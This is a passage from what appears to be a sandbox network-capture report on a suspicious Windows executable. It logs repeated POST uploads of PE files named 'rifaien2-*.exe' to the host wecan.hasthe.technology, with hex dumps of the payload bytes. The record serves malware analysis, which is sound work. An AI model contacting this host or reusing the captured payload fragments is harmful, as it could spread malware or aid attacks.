Oct 10, 2024 21:01:58.246757984 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:58.246803045 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:58.246829987 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:58.546705008 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:58 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:58 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vDjn96mOQwDWkXr8OXL%2Bl%2FGQvRGungV7kAYd5StHkBZ9iMnkVpRHAcLx9UCZfV2zAg3QklZZDTOuc%2FoWJfp%2FBk6%2FHX1qJT9yXba11iLjfKij1uTq2f5elpS2ae7rsqAFxoG%2Bt54qUvBvqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcaedf78420d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50338	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:58.701244116 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------bcc66e65e2a16dfa
Oct 10, 2024 21:01:59.169331074 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:59.170135975 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 63 63 36 36 65 36 35 65 32 61 31 36 64 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------bcc66e65e2a16dfaContent-Disposition: form-data; name="file[]"; filename="rifaien2-d57ykrWvlTZrDkZc.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:59.170490980 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:59.175571918 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:59.175609112 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:59.175638914 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:59.175666094 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:59.175694942 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:59.175740957 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:59.175767899 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:59.175817013 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:59.486589909 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:59 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:59 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jje2aHh%2B1aPxBNP17SSwv4jfa5x0gl0tDt9xjfBFci19TGCkG59dm6SJdVqSiAkb5OcLL4TRj2l1jJwxjUY9WJPoEDyD8FYzFcLUuRl41RUlrOGfqHQAEiUO50fv5elYavxl6w6%2Bab0hKQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcb4995d4314-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50339	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:59.846734047 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------9fb4d071e48747f9
Oct 10, 2024 21:02:00.288268089 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:00.289494038 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 66 62 34 64 30 37 31 65 34 38 37 34 37 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------9fb4d071e48747f9Content-Disposition: form-data; name="file[]"; filename="rifaien2-xQCbPBaBXuF4MpsD.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:00.289729118 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:00.294827938 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:00.295025110 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:00.295025110 CEST	11124	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:00.295087099 CEST	3708	OUT	Data Raw: 3c 00 75 0d 8b 43 20 17 74 82 be 7b b3 21 8b 43 30 8b 97 67 8e 4f e8 01 7c a2 8b 87 e0 3a 1d 04 b8 ff 89 97 44 86 00 00 89 87 40 05 35 74 20 ce fe 8e 0a 4c 89 47 04 89 38 eb 10 27 c7 ea ea 7f 24 73 89 7b 04 89 7b 08 89 5f 40 4d 01 df c1 5d b9 33 Data Ascii: <uC t{!C0gO\|:D@5t LG8'$s{{_@M]3{`CC N21.HeVS?@hj1X oC,C\| wh@hutP.CCV#580EQC05Ah.+74*6F/7tZ@5tCD
Oct 10, 2024 21:02:00.295114040 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:00.299510002 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:00.300065994 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:00.300163984 CEST	2472	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:02:00.591552019 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:00 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:00 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=80RQkyWvJ5xi091wYZWUJjTvcEqq18pNkFwqyfrx5npGotlinAMCrg8YPnezReR3f%2Bai4rFKOBQtC%2BugpQPV7qj2V2FPey2HD2RO%2BdxJnAWQHIBnI8olKcO5x1%2Fo%2BhoT6pex%2BTpaE1tneQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcbbaa370cbe-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50340	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:00.751456022 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------df52247007dd9842
Oct 10, 2024 21:02:01.231875896 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:01.233177900 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 66 35 32 32 34 37 30 30 37 64 64 39 38 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------df52247007dd9842Content-Disposition: form-data; name="file[]"; filename="rifaien2-6Q71fxUu8dtMFFZU.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:01.233294964 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:01.238512993 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:01.238564014 CEST	7416	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:01.238584995 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:01.238625050 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:01.238642931 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:01.238681078 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:01.243324995 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:01.243729115 CEST	7416	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:01.566894054 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:01 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:01 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oNhejO6u1RcjtybOwAcKo5acnSi%2B647vZKLVqzOUdWskidlt7U8Ex2F5E%2Fd3balIC1YBmVSLqefcg8H2UASKnm8264jZFGGfgcnAVvAtz0xk2crHHycZ%2Byjcu943pbFxikpTlzb5zAEhTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcc1794643ee-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

